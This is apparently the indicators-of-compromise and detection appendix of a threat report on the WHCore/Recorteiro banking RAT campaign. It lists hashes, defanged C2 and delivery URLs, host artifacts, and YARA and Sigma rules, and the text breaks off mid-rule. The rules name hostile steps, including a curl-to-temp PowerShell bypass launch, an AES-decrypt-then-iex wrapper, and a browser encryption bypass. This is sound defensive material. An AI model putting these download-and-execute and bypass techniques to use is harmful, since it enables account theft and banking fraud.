app.exe / WHBridge.exe (May 2026) SHA256: d2a53153d4a981016a62600f01947dbca3554deed471dcf1880c89362343eaf8 MD5: 716773DB3295D22200D68EE32B4F20F7 WHBridge.exe (affiliate build, Feb 2026) SHA256: 08c86ac14a186f516861b84b3188fb26f10d59309d29a74467cfb23c42963c47 MD5: 2CCBAC8AD3849250C949F875B146E3CE WHBridge.exe (affiliate build, Feb 2026) SHA256: 137babc44923b6b641f3368287413baf0c781aa49651dd9c7008dbeb62c27b99 MD5: E3D133664FE6BCC14DAF8A0A098291FD WHBridge.exe (affiliate build, Jul 2026) SHA256: ce19b1701336abb5997073467f8c35ae1920b8448721484336268646ddd6e1ea MD5: 92C85235A800B4A63E0DE75E0A0E95BD WHBridge.exe (affiliate build, Jul 2026) SHA256: 196eb02466bbe6868446ec252328a6e9390310efb0aa7742316347d9876fc2a1 MD5: F7BDA1FC169C1B71BF679CF42A9631D0 WHBridge.exe (affiliate build, Jul 2026) SHA256: 7677cb7ba9d428732cde00e94c554a2cefabadf3b044d1e65fb52a56f0bb0251 MD5: 764C449A8DF853DDDADAC73B6F024C90 WHBridge.exe (affiliate build, Aug 2026) SHA256: 1b261cb5f59f7d3681591ec30823b437b5fd560f98aaacc0b77bf368c29f3f5f MD5: 6F668464E8824B09BF06E175899888FB WHCore.exe 1.0.0.0 (core, May 2026) SHA256: 8309c566f002ecebe5a486f61e956aed571d35211a84d98bd98dde2fd53bab00 MD5: 050E3101D62BEBA39BA57734A780B985 WHCore.exe 1.0.0.0 (core, May 2026) SHA256: c4de27ae5deab103b615e21fbe661b51c46f52696c93ceaac80183aab46b4895 MD5: CAAF5B4DBAB2359B8D3A8040FB4A4E88 WHCore.exe 1.3.6.0 (core, Jun 2026) SHA256: a11d98615ef74469cf95c2b996e6580330d495f5344b87918ff2444cbf1aaac4 MD5: 9BAA6C9AB82E558D6B0797B6A7940F15 WHCore.exe 1.3.7.0 (core, Jun 2026) SHA256: 0fcb5e84d3d060b62d3b36801bef02b63289a609c8b0aff55e63b9134eb42a7e MD5: 185F6281568792865E48E556658C8745 WHCore.exe 1.4.1.0 (core, Jun 2026) SHA256: afb0369888e05374cd471ff94fb8a383604c8b19bb1f61d5c2f5d3ced743638c MD5: A5E511FC6ABCD24AF686A467AA1FE3F5 WHCore.exe 1.4.8.0 (core, Jun 2026) SHA256: ad2fbb0435170697fc0e72a1eab06634f3fadba0f3ae4330c841dedb67a628f7 MD5: 48DBA9B2885813BDD8290E2FE58B1B57 WHCore.exe 1.5.18.0 (core, Sep 2026) SHA256: 9c44acc8dea6d2091f73c96fdb6d4997518277807e554e4a8c9043c97542adb8 MD5: 27716AA7365ECD90A800585F94F04BBE WHCore.exe 1.8.0.0 (core, per-victim build) SHA256: 0bfe1e434a86fd79d1691a6adfc982a298f1deca27c3fed984e3d703c3fa2afd MD5: E04D927707B7E15396A1A5CD8243DB06 WHCore.exe 1.8.0.0 (core, per-victim build) SHA256: 08f8c29f8adf8a52e0b7fe4ff7c72d383d4095fa3809964b52eac330d9895e37 MD5: 7BFD5336CB74B3287D1AC46F14CA4403 WHCore.exe 1.8.0.0 (core, per-victim build) SHA256: 57166b3a120ee2e5f759f80875ddb1527f64639dcf5f03fcd7dbbf07825ae519 MD5: 7806C85333385E92707D2061401DA2B0 WHCore.exe 1.8.0.0 (core, per-victim build) SHA256: 794a7113167c2c01646c18aac8412de7d75f0b4652be597cf139a0a99f7bc5c2 MD5: 5E2004657C6E4AD6E8A4D28932EF84D0 WHCore.exe 1.8.0.0 (core, per-victim build) SHA256: df6eeb933e15659d0481f07a73c4e1a9d8f1598b877674834201477f512f5028 MD5: 0FD3F324CD45A3F9652717B9CE549231 WHCore.exe (core) SHA256: 7d39a042331aec0f3f616499155025ddacb710609716d1f392f7f1194a528c86
Phishing pages (2)
hxxps://energialusa[.]com hxxps://edp-fatura.accessrdp[.]digital
Delivery (8)
hxxps://ssl.whbridge[.]com/l/LDCdugBE0AoJ/p hxxps://sv2.whbridge[.]com/gringo.exe hxxps://sv1.whbridge[.]com/agent_6fd26a51.bin hxxps://sv1.whbridge[.]com/loader.exe 31.56.19[.]122 64.89.161[.]15 hxxps://ssl.whbridge[.]com/l/Q44WFcy69bXu/p hxxps://sv2.whbridge[.]com/lyancoder.exe
C2 server (6)
wss://windowshelpers[.]com/ws hxxps://v2.windowshelpers[.]com (CryptoPRO-X panel) hxxps://windowshelpers[.]com/relay hxxps://windowshelpers[.]com/ext/updates.xml hxxps://windowshelpers[.]com/ext/relay.crx hxxps://xzlixtrtllsbljtupsdn.supabase[.]co (C2 discovery)
Screenshot upload (Cloudflare R2) (1)
hxxps://thumbs.windowshelpers[.]com/upload/refs/<affiliate>/agents/agent-<MAC>/
Secondary panel / updater (3)
helpdesktopup[.]com painel.helpdesktopup[.]com api.helpdesktopup[.]com
Host artifacts (9)
%LOCALAPPDATA%\<Word><Word><hex4>\<Word><Word><hex4>.exe HKCU\Software\Microsoft\Windows\CurrentVersion\Run\<Word><Word><hex3> Scheduled task: WinSysMonitor C:\Users\Public\AppCache\upd_<6 digits>.exe C:\Users\Public\AppCache\boot.log \\.\pipe\ckh_<pid>_<ms> Chrome/Edge extension ID: bneiakhcpdbpeclipnlkdeloomegfkoe Mutex: Global\WHBridgeSingleton %TEMP%\ld.flg (headless-relaunch marker)
YARA rules
Rules require import "pe" and import "math" at the top of the file. The complete file is available on GitHub.
WHCore_Loader_RuntimeLauncher · Recorteiro Rust loader ‘WindowsHelpers Remote Support Launcher’ (RuntimeLauncher.exe) with
rule WHCore_Loader_RuntimeLauncher
{
meta:
description = "Recorteiro Rust loader 'WindowsHelpers Remote Support Launcher' (RuntimeLauncher.exe) with the builder's MINT/REFSLOT slots"
author = "SI-LAB - https://seguranca-informatica.pt"
last_updated = "2026-11-04"
tlp = "white"
category = "malware"
reference_hash1 = "aad36faec050acd5cf6dc76d588f204bdb4b9e25f7577d0a1444d433eddc201b"
reference_hash2 = "6373bdb4ea0bf0f3bdf699d4617165ac395c0b667bc3f4a666e6c6ea6955d6c1"
reference_hash3 = "9e08198da4be32232c736c861fe13740b639ff6af678d81a79a4e96bd7e776d1"
strings:
$mint1 = "MINTKEY" ascii
$mint2 = "MINTPAD" ascii
$mint3 = "MINTSLOT" ascii
$ref = "REFSLOT" ascii
$sec1 = ".rdata$zzz_mint_key" ascii
$sec2 = ".rdata$zzz_ref_slot" ascii
$pt1 = "agent ja em execucao pid=" ascii
$pt2 = "maintenance: payload rejeitado (assinatura)" ascii
$pt3 = "sig_invalid: assinatura nao confere" ascii
$pt4 = "rollback_prev: exe restaurado de .prev" ascii
$pt5 = "HKCU Run divergente: esperado" ascii
$words = "AmberAspenAtlasBasilBeaconBirchBrook" ascii
$wbx = "WBX1" ascii
$vi1 = "WindowsHelpers Remote Support Launcher" wide
$vi2 = "RuntimeLauncher.exe" wide
$dev = "C:\\Users\\lyanCoder\\" ascii
// bootstrap strings confirmed in the loader's own log (lab)
$boot1 = "loader ja ativo; saindo sem respawnar nem encerrar o agent" ascii
$boot2 = "boot_retry: nenhum agent spawnavel" ascii
$boot3 = "dependency missing_or_invalid:" ascii
$boot4 = "w_agent_fetch" ascii
condition:
uint16(0) == 0x5A4D and
(
(3 of ($mint*, $ref, $sec*)) or
(3 of ($pt*)) or
($words and 1 of ($pt*)) or
(all of ($vi*) and ($wbx or $dev)) or
(2 of ($boot*))
)
}
WHCore_Loader_Overlay_DecoyZip · Recorteiro loader overlay: stored ZIP with decoy files (Application.Bridge.Updater manifes
rule WHCore_Loader_Overlay_DecoyZip
{
meta:
description = "Recorteiro loader overlay: stored ZIP with decoy files (Application.Bridge.Updater manifest + strings.bin)"
author = "SI-LAB - https://seguranca-informatica.pt"
last_updated = "2026-11-04"
tlp = "white"
category = "malware"
strings:
$a = "Application.Bridge.Updater" ascii
$b = "# Application Bridge Updater" ascii
$c = "strings.bin" ascii
$d = "theme.json" ascii
$e = "Copyright (c) 20" ascii
condition:
uint16(0) == 0x5A4D and
pe.overlay.size > 10000 and
uint32(pe.overlay.offset) == 0x04034B50 and
$a in (pe.overlay.offset..pe.overlay.offset + pe.overlay.size) and
$b and $c and $d and $e
}
WHCore_Core_RAT · Recorteiro core banking RAT ‘WindowsHelpers Remote Support Core’ (WHCore.exe)
rule WHCore_Core_RAT
{
meta:
description = "Recorteiro core banking RAT 'WindowsHelpers Remote Support Core' (WHCore.exe)"
author = "SI-LAB - https://seguranca-informatica.pt"
last_updated = "2026-11-04"
tlp = "white"
category = "malware"
reference_hash = "0bfe1e434a86fd79d1691a6adfc982a298f1deca27c3fed984e3d703c3fa2afd" // installed (unique per victim)
reference_hash_cdn = "2831d41fd7f3b41751f8237322e03b4310b4e155ff9f78ba23553bc172eaac28" // canonical PE decrypted from WBX1
strings:
$key = "cfg-vault-v1-whcore-build-key!!!" ascii
$key2 = "ckh-embed-v1-chrome-key-helper!!" ascii
$sd1 = "WHCore::server_discovery" ascii
$sd2 = "/rest/v1/server_config?select=url&id=eq.1&limit=1" ascii
$sd3 = "server_discovery: Supabase indispon" ascii
$m1 = "src\\chrome_key\\manual_map.rs" ascii
$m2 = "src\\screen_overlay\\manager.rs" ascii
$m3 = "src\\plugins\\wallet_grabber.rs" ascii
$m4 = "src\\wallet_unlock_capture.rs" ascii
$m5 = "src\\input_lock.rs" ascii
$m6 = "src\\ext_policy.rs" ascii
$ov1 = "form_recort_exchange" ascii
$ov2 = "seu banco online" ascii
$ov3 = "__rwr_recort_close_veil" ascii
$ext1 = "WindowsHelpers Browser Verification" ascii
$ext2 = "windowshelpers.com/ext/updates.xml" ascii
$task = "task insurance criada via COM" ascii
$vi = "WindowsHelpers Remote Support Core" wide
$ag1 = "AGKEY001" ascii
$ag2 = "AGMINTPD" ascii
condition:
uint16(0) == 0x5A4D and
(
$key or $key2 or
(all of ($ag*) and ($vi or 1 of ($m*))) or
2 of ($sd*) or
(4 of ($m*)) or
(2 of ($ov*) and 1 of ($ext*, $vi, $task))
)
}
WHCore_Browser_Extension_Relay · Recorteiro MV3 browser extension ‘WindowsHelpers Browser Verification’ (relay/shield/clone
rule WHCore_Browser_Extension_Relay
{
meta:
description = "Recorteiro MV3 browser extension 'WindowsHelpers Browser Verification' (relay/shield/clone): loose files, CRX or embedded"
author = "SI-LAB - https://seguranca-informatica.pt"
last_updated = "2026-11-04"
tlp = "white"
category = "malware"
extension_id = "bneiakhcpdbpeclipnlkdeloomegfkoe"
reference_hash = "467be164302d71b5bc77abca5798452a7e2c5d70faf3d7bd990f42d461b62be0"
strings:
$n1 = "WindowsHelpers Browser Verification" ascii
$n2 = "Verifica compatibilidade do navegador com o suporte remoto" ascii
$s1 = "relay-shield-root" ascii
$s2 = "relay:curtain:template" ascii
$s3 = "\"clone.export\"" ascii
$s4 = "\"cdp.send\"" ascii
$s5 = "/ws/agent" ascii
$s6 = "__arena" ascii
$s7 = "100.83.94.82:8790" ascii
$s8 = "relay-keepalive" ascii
$s9 = "Atualizando o navegador" ascii
$crx = { 43 72 32 34 03 00 00 00 }
// crx_id (16 bytes) of bneiakhcpdbpeclipnlkdeloomegfkoe in the CRX3 header SignedData
$crxid = { 1d 48 0a 72 f3 1f 42 b8 fd ba 34 be ec 46 5a e4 }
condition:
filesize < 30MB and
(
(1 of ($n*) and 2 of ($s*)) or
4 of ($s*) or
($crx at 0 and $crxid in (0..2048))
)
}
WHCore_Stage1_BAT_Downloader · Stage 1 invoice BAT: curl to /l/<id>/p with e?t=s / e?t=x telemetry
rule WHCore_Stage1_BAT_Downloader
{
meta:
description = "Stage 1 invoice BAT: curl to /l/<id>/p with e?t=s / e?t=x telemetry"
author = "SI-LAB - https://seguranca-informatica.pt"
last_updated = "2026-11-04"
tlp = "white"
category = "malware"
reference_hash = "f9279e504cc44524d610e8203e2bb9ae8a871803350289da50dbbc9aefaf5191"
strings:
$a = "start \"\" /min cmd /c \"%~f0\" m" ascii nocase
$b = "/e?t=s" ascii
$c = "/e?t=x" ascii
$d = "powershell -NoP -EP Bypass -File" ascii nocase
$e = "%TEMP%\\ld%RANDOM%.ps1" ascii nocase
$f = "whbridge.com/l/" ascii nocase
condition:
filesize < 10KB and
(
($f and 1 of ($a, $d, $e)) or
($a and $b and $c and $d)
)
}
WHCore_Stage2_PS_Dropper · Stage 2 PowerShell dropper (decrypted layer): AppCache\\upd_*.exe, NSIS/Inno silent switch
rule WHCore_Stage2_PS_Dropper
{
meta:
description = "Stage 2 PowerShell dropper (decrypted layer): AppCache\\upd_*.exe, NSIS/Inno silent switches, e?t=d telemetry"
author = "SI-LAB - https://seguranca-informatica.pt"
last_updated = "2026-11-04"
tlp = "white"
category = "malware"
reference_hash = "2462870dfb749b3e3c2ac91e5e49f82cbfc7401978c53055fbdfb19b541803b1"
strings:
$a = "C:\\Users\\Public\\AppCache" ascii nocase
$b = "/S /VERYSILENT /SUPPRESSMSGBOXES /NORESTART /SP-" ascii
$c = "'upd_{0}.exe'" ascii
$d = "Note 'origem ok'" ascii
$e = "Sync 'd'" ascii
$f = "realocado" ascii
$g = "whbridge.com" ascii nocase
condition:
filesize < 50KB and 4 of them
}
WHCore_Stage2_PS_AESWrapper · Stage 2 PowerShell wrapper: Base64 -> AES-CBC -> iex (generic, check for false positives)
rule WHCore_Stage2_PS_AESWrapper
{
meta:
description = "Stage 2 PowerShell wrapper: Base64 -> AES-CBC -> iex (generic, check for false positives)"
author = "SI-LAB - https://seguranca-informatica.pt"
last_updated = "2026-11-04"
tlp = "white"
category = "malware"
strings:
$a = "[Security.Cryptography.Aes]::Create()" ascii nocase
$b = "[Security.Cryptography.CipherMode]::CBC" ascii nocase
$c = "CreateDecryptor()" ascii nocase
$d = "TransformFinalBlock(" ascii nocase
$e = "[Text.Encoding]::UTF8.GetString(" ascii nocase
$f = /;iex \$[a-z]{2,4}\s*$/ ascii
condition:
filesize < 20KB and all of them
}
WHCore_WBX1_Payload_Container · WBX1 container served by sv1.whbridge.com (agent_*.bin): ‘WBX1’ | 16-byte IV | AES-256-CTR
rule WHCore_WBX1_Payload_Container
{
meta:
description = "WBX1 container served by sv1.whbridge.com (agent_*.bin): 'WBX1' | 16-byte IV | AES-256-CTR(MINTKEY, core PE)"
author = "SI-LAB - https://seguranca-informatica.pt"
last_updated = "2026-11-04"
tlp = "white"
category = "malware"
reference_hash = "8cc43499688713769ad43443a37b770002468940514ad2f46af7b570a3df7fb2"
condition:
uint32(0) == 0x31584257 and // "WBX1"
filesize > 1MB and filesize < 64MB and
uint16(0) != 0x5A4D and
math.entropy(20, 4096) > 7.9
}
WHCore_ChromeKeyHelper_DLL · chrome_key_helper.dll: App-Bound Encryption bypass helper (runs inside a suspended chrome.
rule WHCore_ChromeKeyHelper_DLL
{
meta:
description = "chrome_key_helper.dll: App-Bound Encryption bypass helper (runs inside a suspended chrome.exe; embedded encrypted in the core or delivered via ck_mod). Useful on memory dumps and C2-delivered variants"
author = "SI-LAB - https://seguranca-informatica.pt"
last_updated = "2026-11-04"
tlp = "white"
category = "malware"
reference_hash = "771c21173f995c1307c1df02cd014b2f903451f40caea16388c640cad79baaf6"
strings:
$e1 = "CKH_PIPE" ascii
$e2 = "CKH_BROWSER" ascii
$s1 = "chrome-key-helper/src/win_impl.rs" ascii
$s2 = "chrome_key_helper.dll" ascii
$s3 = "CKH_PIPE missing" ascii
$s4 = "pipe_connect_timeout" ascii
$s5 = "no_iface:hr=0x" ascii
$s6 = "decrypt_fail:hr=0x" ascii
$s7 = "edgebravebetaavastchrome" ascii
condition:
filesize < 20MB and
((all of ($e*) and 2 of ($s*)) or 4 of ($s*))
}
WHCore_Core_ABE_Module · Core chrome_key module: encrypted ABE helper (ChaCha20), ckh_ pipe, suspended chrome.exe –
rule WHCore_Core_ABE_Module
{
meta:
description = "Core chrome_key module: encrypted ABE helper (ChaCha20), ckh_ pipe, suspended chrome.exe --no-startup-window + manual map with entry-point stub"
author = "SI-LAB - https://seguranca-informatica.pt"
last_updated = "2026-11-04"
tlp = "white"
category = "malware"
strings:
$k1 = "ckh-embed-v1-chrome-key-helper!!" ascii
$k2 = "ckh-nonce!" ascii
$p = "\\\\.\\pipe\\ckh_" ascii
$c = "\" --no-startup-window" ascii
$m1 = "map:child_not_mz" ascii
$m2 = "map:sleep_missing" ascii
$m3 = "mod_key_b64" ascii
$m4 = "elevator_fallback_ok" ascii
$m5 = "helper_nao_conectou" ascii
$clsid_chrome = { E0 60 88 70 41 F6 11 46 88 95 7D 86 7D D3 67 5B }
$iid_ielev = { CF BE 3A 46 0D 41 7F 40 8A F5 0D F3 5A 00 5C C8 }
$clsid_edge = { 6C E9 CB 1F 97 16 AF 43 91 40 28 97 C7 C6 97 67 }
condition:
uint16(0) == 0x5A4D and
(
1 of ($k*) or
($p and 2 of ($m*)) or
(2 of ($clsid*, $iid_ielev) and $c and 1 of ($m*))
)
}
WHCore_Core_SecurePrefs_Tamper · Core ext_prefs module: recomputes Secure Preferences protection.macs/super_mac to enable e
rule WHCore_Core_SecurePrefs_Tamper
{
meta:
description = "Core ext_prefs module: recomputes Secure Preferences protection.macs/super_mac to enable extension bneiakhcpdbpeclipnlkdeloomegfkoe"
author = "SI-LAB - https://seguranca-informatica.pt"
last_updated = "2026-11-04"
tlp = "white"
category = "malware"
strings:
$seed = "e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8" ascii
$a1 = "json sem containers vazios" ascii
$a2 = "json completo (build antigo)" ascii
$a3 = "protection.macs.extensions.settings ausente" ascii
$a4 = "super_encrypted_hash" ascii
$a5 = "[ext_prefs] " ascii
$a6 = "perfil(is) com extens" ascii
$id = "bneiakhcpdbpeclipnlkdeloomegfkoe" ascii
condition:
uint16(0) == 0x5A4D and
(3 of ($a*) or ($seed and ($id or 1 of ($a*))))
}
WHCore_Core_Overlay_LiveHole · Core fraud overlay: ‘Recort’ card with a hole over the real bank window (live hole), blurr
rule WHCore_Core_Overlay_LiveHole
{
meta:
description = "Core fraud overlay: 'Recort' card with a hole over the real bank window (live hole), blurred screenshot background, excluded from capture"
author = "SI-LAB - https://seguranca-informatica.pt"
last_updated = "2026-11-04"
tlp = "white"
category = "malware"
strings:
$h1 = "recort-hole-body" ascii
$h2 = "form-recort-layer" ascii
$h3 = "__rwr_opaque_cover" ascii
$h4 = "__rwr_recort_close_veil" ascii
$h5 = "__rwr_bg_shot" ascii
$h6 = "window.__QR_IMAGE__" ascii
$h7 = "__RWR_READY_GENERATION__" ascii
$t1 = "Recort centralizado" ascii
$t2 = "volte a navega" ascii
$t3 = "overlay no v" ascii
$api = "SetWindowDisplayAffinity" ascii
condition:
uint16(0) == 0x5A4D and (4 of ($h*) or (2 of ($h*) and 1 of ($t*) and $api))
}
WHCore_AppRT_Updater · ‘apprt_helper’ component (appruntime.exe): updater/persistence; downloads from helpdesktop
rule WHCore_AppRT_Updater
{
meta:
description = "'apprt_helper' component (appruntime.exe): updater/persistence; downloads from helpdesktopup.com; Run value 'AppRuntime'"
author = "SI-LAB - https://seguranca-informatica.pt"
last_updated = "2026-11-04"
tlp = "white"
category = "malware"
reference_hash = "a04016cd45c4346042a1e10c8a5bdb8c1894db91172dab9d8c6277ed70372f8c"
strings:
$pdb = "apprt_helper.pdb" ascii
$src = "src\\updater.rs" ascii
$e1 = "APPRT_LOADER_PATH" ascii
$e2 = "APPRT_REFERENCE" ascii
$f1 = "appruntime.exe" ascii
$f2 = "appruntime2.exe" ascii
$dom = "helpdesktopup.com" ascii
$run = "AppRuntime" ascii
$tmp = "update.tmp" ascii
condition:
uint16(0) == 0x5A4D and
(
1 of ($pdb, $src) or
($dom and 1 of ($e*, $f*)) or
(3 of ($e*, $f*, $run, $tmp))
)
}
WHCore_Core_C2_Protocol · Recorteiro C2 protocol (confirmed in live traffic): target sync, surveillance and remote-c
rule WHCore_Core_C2_Protocol
{
meta:
description = "Recorteiro C2 protocol (confirmed in live traffic): target sync, surveillance and remote-control messages. Useful on the core PE and memory dumps"
author = "SI-LAB - https://seguranca-informatica.pt"
last_updated = "2026-11-04"
tlp = "white"
category = "malware"
strings:
$c1 = "keywords_sync" ascii
$c2 = "wallet_apps_sync" ascii
$c3 = "active_window_update" ascii
$c4 = "agent_runtime_metrics" ascii
$c5 = "screenshot_preview" ascii
$c6 = "sfu_publish_offer" ascii
$c7 = "agent_about_to_be_detected" ascii
$c8 = "av_inventory" ascii
$c9 = "whClientId" ascii
$c10 = "agent_banned" ascii
$c11 = "OverlayTemplateList" ascii
condition:
4 of them
}
Sigma rules
Each rule can be converted with pySigma / sigma-cli to your SIEM or EDR query language. The complete file is available on GitHub.
Fatura BAT Relaunch Minimized And Curl PS1 To Temp
title: WHCore - Fatura BAT Relaunch Minimized And Curl PS1 To Temp
id: 0d7a4a3e-5c1e-4b8e-9b0a-3f1f6c2a7e01
status: experimental
description: Stage 1 da campanha EnergiaLusa/WindowsHelpers - BAT relança-se minimizado e usa curl.exe para descarregar um .ps1 de /l/<id>/p
references:
- Internal SI-LAB analysis 2026-11-02
author: SI-LAB - https://seguranca-informatica.pt
date: 2026-11-02
tags:
- attack.execution
- attack.t1059.003
- attack.t1105
logsource:
category: process_creation
product: windows
detection:
sel_curl:
Image|endswith: '\curl.exe'
CommandLine|contains|all:
- '-o'
- '\ld'
- '.ps1'
- '/l/'
- '/p'
sel_beacon:
Image|endswith: '\curl.exe'
CommandLine|contains:
- '/e?t=s'
- '/e?t=x'
condition: 1 of sel_*
falsepositives:
- Improvável
level: high
PowerShell Executes Temp ld*.ps1 With Bypass From Cmd
title: WHCore - PowerShell Executes Temp ld*.ps1 With Bypass From Cmd
id: 6b0c1d52-9a7e-4f43-8f0d-2a6f5e3b9c02
status: experimental
description: BAT stage 1 executa %TEMP%\ld<RANDOM>.ps1 com -NoP -EP Bypass
author: SI-LAB - https://seguranca-informatica.pt
date: 2026-11-02
tags:
- attack.execution
- attack.t1059.001
logsource:
category: process_creation
product: windows
detection:
selection:
ParentImage|endswith: '\cmd.exe'
Image|endswith: '\powershell.exe'
CommandLine|contains|all:
- '-NoP'
- '-EP Bypass'
- '-File'
- '\AppData\Local\Temp\ld'
- '.ps1'
condition: selection
falsepositives:
- Improvável
level: high
Silent Installer Switches On Executable In Users Public AppCache
title: WHCore - Silent Installer Switches On Executable In Users Public AppCache
id: 3f2e8a61-7d4b-4c9a-a1e5-8b6c0d4f1e03
status: experimental
description: Stage 2 lança C:\Users\Public\AppCache\upd_<n>.exe com switches NSIS/Inno silenciosos
author: SI-LAB - https://seguranca-informatica.pt
date: 2026-11-02
tags:
- attack.execution
- attack.t1204.002
logsource:
category: process_creation
product: windows
detection:
selection:
Image|contains: '\Users\Public\AppCache\upd_'
CommandLine|contains|all:
- '/VERYSILENT'
- '/SP-'
- '/DIR='
condition: selection
falsepositives:
- Improvável
level: critical
File Created In Users Public AppCache (boot.log / upd_*.exe)
title: WHCore - File Created In Users Public AppCache (boot.log / upd_*.exe)
id: 8a1d4c77-2e5f-4b0e-9c3a-6d7e8f9a0b04
status: experimental
description: Artefactos de staging do Stage 2 PowerShell
author: SI-LAB - https://seguranca-informatica.pt
date: 2026-11-02
tags:
- attack.defense_evasion
logsource:
category: file_event
product: windows
detection:
selection_log:
TargetFilename|endswith: '\Users\Public\AppCache\boot.log'
selection_exe:
TargetFilename|contains: '\Users\Public\AppCache\upd_'
TargetFilename|endswith: '.exe'
condition: 1 of selection_*
falsepositives:
- Desconhecidos
level: high
Loader Self Delete Via Ping Delay
title: WHCore - Loader Self Delete Via Ping Delay
id: c4b9e2d0-1a6f-4e7c-8b2d-5f3a9c0e1d05
status: experimental
description: Loader Rust apaga o bootstrap com cmd /c "ping -n 6 127.0.0.1 >nul & del /f /q <exe>"
author: SI-LAB - https://seguranca-informatica.pt
date: 2026-11-02
tags:
- attack.defense_evasion
- attack.t1070.004
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\cmd.exe'
CommandLine|contains|all:
- 'ping -n 6 127.0.0.1'
- 'del /f /q'
- '.exe'
filter_appcache_or_temp:
CommandLine|contains:
- '\AppData\Local\Temp\'
- '\Users\Public\AppCache\'
condition: selection and filter_appcache_or_temp
falsepositives:
- Instaladores legítimos com self-delete (raro com ping -n 6)
level: medium
Executable In LocalAppData WordWord+Hex4 Folder
title: WHCore - Executable In LocalAppData WordWord+Hex4 Folder
id: 5e7f0a19-3c2d-4a8b-9e6f-1b2c3d4e5f06
status: experimental
description: |
Diretório e executáveis gerados pelo loader com wordlist (Amber..Willow) + 4 hex,
ex. %LOCALAPPDATA%\BrookDunefc5c\BasilHarborf2b5.exe. Regex aproximada; afinar com a wordlist completa.
author: SI-LAB - https://seguranca-informatica.pt
date: 2026-11-02
tags:
- attack.persistence
- attack.defense_evasion
- attack.t1036
logsource:
category: process_creation
product: windows
detection:
selection:
Image|re: '(?i)\\AppData\\Local\\(Amber|Aspen|Atlas|Basil|Beacon|Birch|Brook|Cedar|Cliff|Clover|Cobalt|Comet|Coral|Creek|Crystal|Cypress|Delta|Dune|Ember|Falcon|Fern|Flint|Forest|Garnet|Glacier|Harbor|Hazel|Heron|Holly|Island|Ivory|Jasper|Juniper|Kelp|Lagoon|Laurel|Lily|Linden|Lotus|Maple|Marble|Meadow|Mesa|Mistral|North|Oak|Onyx|Opal|Orchid|Otter|Pebble|Pine|Quartz|River|Rowan|Sage|Silver|Solstice|Spruce|Summit|Timber|Topaz|Tulip|Willow){2}[0-9a-f]{4}\\[A-Za-z]+[0-9a-f]{4}\.exe$'
condition: selection
falsepositives:
- Improvável
level: high
Recon Burst Getmac CSV From Unsigned LocalAppData Binary
title: WHCore - Recon Burst Getmac CSV From Unsigned LocalAppData Binary
id: 9d3c2b1a-0f4e-4d5c-8b7a-6e5f4d3c2b07
status: experimental
description: O core executa repetidamente "getmac /fo csv /nh" e WMIC de memória/disco a partir de %LOCALAPPDATA%
author: SI-LAB - https://seguranca-informatica.pt
date: 2026-11-02
tags:
- attack.discovery
- attack.t1016
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\getmac.exe'
CommandLine|contains: '/fo csv /nh'
ParentImage|contains: '\AppData\Local\'
condition: selection
falsepositives:
- Software de inventário instalado por utilizador
level: medium
Browser Extension Force Install Policy For bneiakhcpdbpeclipnlkdeloomegfkoe
title: WHCore - Browser Extension Force Install Policy For bneiakhcpdbpeclipnlkdeloomegfkoe
id: 2a4b6c8d-1e3f-4a5b-8c7d-9e0f1a2b3c08
status: experimental
description: Core instala a extensão "WindowsHelpers Browser Verification" via ExtensionInstallForcelist (Chrome/Edge) ou managed policy 3rdparty
author: SI-LAB - https://seguranca-informatica.pt
date: 2026-11-02
tags:
- attack.persistence
- attack.t1176
- attack.t1112
logsource:
category: registry_set
product: windows
detection:
sel_forcelist:
TargetObject|contains:
- '\Policies\Google\Chrome\ExtensionInstallForcelist'
- '\Policies\Microsoft\Edge\ExtensionInstallForcelist'
- '\Policies\BraveSoftware\Brave\ExtensionInstallForcelist'
sel_value:
Details|contains:
- 'bneiakhcpdbpeclipnlkdeloomegfkoe'
- 'windowshelpers.com/ext/updates.xml'
sel_key:
TargetObject|contains: 'bneiakhcpdbpeclipnlkdeloomegfkoe'
condition: (sel_forcelist and sel_value) or sel_key
falsepositives:
- Nenhum
level: critical
Scheduled Task WinSysMonitor
title: WHCore - Scheduled Task WinSysMonitor
id: 7c6b5a49-3d2e-4f1a-9b8c-0d1e2f3a4b09
status: experimental
description: 'Task insurance do core (COM ITaskService, repetição 15 min)'
author: SI-LAB - https://seguranca-informatica.pt
date: 2026-11-02
tags:
- attack.persistence
- attack.t1053.005
logsource:
product: windows
service: security
detection:
selection:
EventID:
- 4698
- 4702
TaskName|contains: 'WinSysMonitor'
condition: selection
falsepositives:
- Software legítimo com o mesmo nome de tarefa (verificar o caminho da Action)
level: high
DNS Query To Campaign Infrastructure
title: WHCore - DNS Query To Campaign Infrastructure
id: 1f2e3d4c-5b6a-4978-8a9b-0c1d2e3f4a10
status: experimental
description: Infraestrutura da campanha EnergiaLusa / WindowsHelpers / CryptoPRO-X
author: SI-LAB - https://seguranca-informatica.pt
date: 2026-11-02
tags:
- attack.command_and_control
- attack.t1071.001
logsource:
category: dns_query
product: windows
detection:
selection:
QueryName|endswith:
- 'whbridge.com'
- 'windowshelpers.com'
- 'energialusa.com'
- 'helpdesktopup.com'
- 'xzlixtrtllsbljtupsdn.supabase.co'
- 'edp-fatura.accessrdp.digital'
condition: selection
falsepositives:
- Nenhum
level: critical
AppRuntime Persistence And Updater (apprt_helper)
title: WHCore - AppRuntime Persistence And Updater (apprt_helper)
id: 4b8d2f6a-0c1e-4e3a-9f5b-7a8c9d0e1f11
status: experimental
description: Componente apprt_helper (appruntime.exe) cria persistencia HKCU Run 'AppRuntime' e/ou baixa componentes de helpdesktopup.com via curl (validacao dinamica 4.8 + AGENT.7z)
references:
- Internal SI-LAB analysis 2026-11-04
author: SI-LAB - https://seguranca-informatica.pt
date: 2026-11-04
tags:
- attack.persistence
- attack.t1547.001
- attack.command_and_control
- attack.t1105
logsource:
category: process_creation
product: windows
detection:
sel_run_reg:
Image|endswith: '\reg.exe'
CommandLine|contains|all:
- 'CurrentVersion\Run'
- 'AppRuntime'
sel_curl_dl:
Image|endswith: '\curl.exe'
CommandLine|contains: 'helpdesktopup.com'
sel_appruntime:
Image|endswith: '\appruntime.exe'
condition: 1 of sel_*
falsepositives:
- Improvável
level: high
Registry Run Value Pointing To LocalAppData WordWord+Hex Loader
title: WHCore - Registry Run Value Pointing To LocalAppData WordWord+Hex Loader
id: 6d0f3a8c-2e4b-4a1d-8c9e-0b1a2c3d4e12
status: experimental
description: |
